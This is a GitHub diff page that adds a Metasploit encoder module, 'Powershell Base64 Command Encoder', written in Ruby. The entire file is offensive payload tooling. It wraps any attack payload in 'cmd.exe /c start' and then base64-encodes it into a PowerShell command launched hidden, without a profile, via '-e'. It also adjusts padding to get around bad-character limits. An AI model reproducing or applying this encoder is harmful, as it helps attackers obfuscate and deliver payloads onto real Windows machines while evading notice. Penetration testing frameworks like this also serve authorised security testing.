File tree Expand file tree Collapse file tree 1 file changed +54
-0
lines changed Expand file tree Collapse file tree 1 file changed +54
-0
lines changed Original file line number Diff line number Diff line change
1
+ ##
2
+ # This module requires Metasploit: http//metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+
8
+ class Metasploit3 < Msf ::Encoder
9
+ Rank = ExcellentRanking
10
+
11
+ def initialize
12
+ super (
13
+ 'Name' => 'Powershell Base64 Command Encoder' ,
14
+ 'Description' => %q{
15
+ This encodes the command as a base64 encoded command for powershell.
16
+ } ,
17
+ 'Author' => 'Ben Campbell' ,
18
+ 'Arch' => ARCH_CMD ,
19
+ 'Platform' => 'win' )
20
+ end
21
+
22
+
23
+ #
24
+ # Encodes the payload
25
+ #
26
+ def encode_block ( state , buf )
27
+
28
+ # Skip encoding for empty badchars
29
+ if state . badchars . length == 0
30
+ return buf
31
+ end
32
+
33
+ if ( state . badchars . include? '-' ) || ( state . badchars . include? ' ' )
34
+ return buf
35
+ end
36
+
37
+ cmd = encode_buf ( buf )
38
+
39
+ if state . badchars . include? '='
40
+ while cmd . include? '='
41
+ buf << " "
42
+ cmd = encode_buf ( buf )
43
+ end
44
+ end
45
+
46
+ cmd
47
+ end
48
+
49
+ def encode_buf ( buf )
50
+ base64 = Rex ::Text . encode_base64 ( Rex ::Text . to_unicode ( "cmd.exe /c start #{ buf } " ) )
51
+ cmd = "powershell -w hidden -nop -e #{ base64 } "
52
+ end
53
+
54
+ end
You can’t perform that action at this time.
0 commit comments